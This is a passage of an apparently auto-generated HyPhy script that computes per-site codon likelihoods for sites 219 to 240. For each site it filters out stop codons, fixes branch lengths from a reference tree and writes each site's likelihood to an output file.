itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"219\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 220...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"657,658,659\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 220\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"220\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 221...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"660,661,662\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 221\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"221\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 222...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"663,664,665\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 222\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"222\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 223...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"666,667,668\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 223\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"223\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 224...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"669,670,671\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 224\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"224\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 225...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"672,673,674\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 225\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"225\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 226...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"675,676,677\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 226\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"226\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 227...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"678,679,680\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 227\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"227\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 228...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"681,682,683\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 228\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"228\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 229...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"684,685,686\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 229\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"229\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 230...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"687,688,689\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 230\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"230\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 231...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"690,691,692\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 231\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"231\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 232...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"693,694,695\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 232\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"232\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 233...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"696,697,698\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 233\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"233\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 234...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"699,700,701\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 234\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"234\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 235...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"702,703,704\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 235\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"235\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 236...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"705,706,707\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 236\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"236\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 237...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"708,709,710\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 237\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"237\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 238...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"711,712,713\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 238\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"238\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 239...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"714,715,716\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 239\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"239\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 240...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"717,718,719\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 240\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"240\\t\", 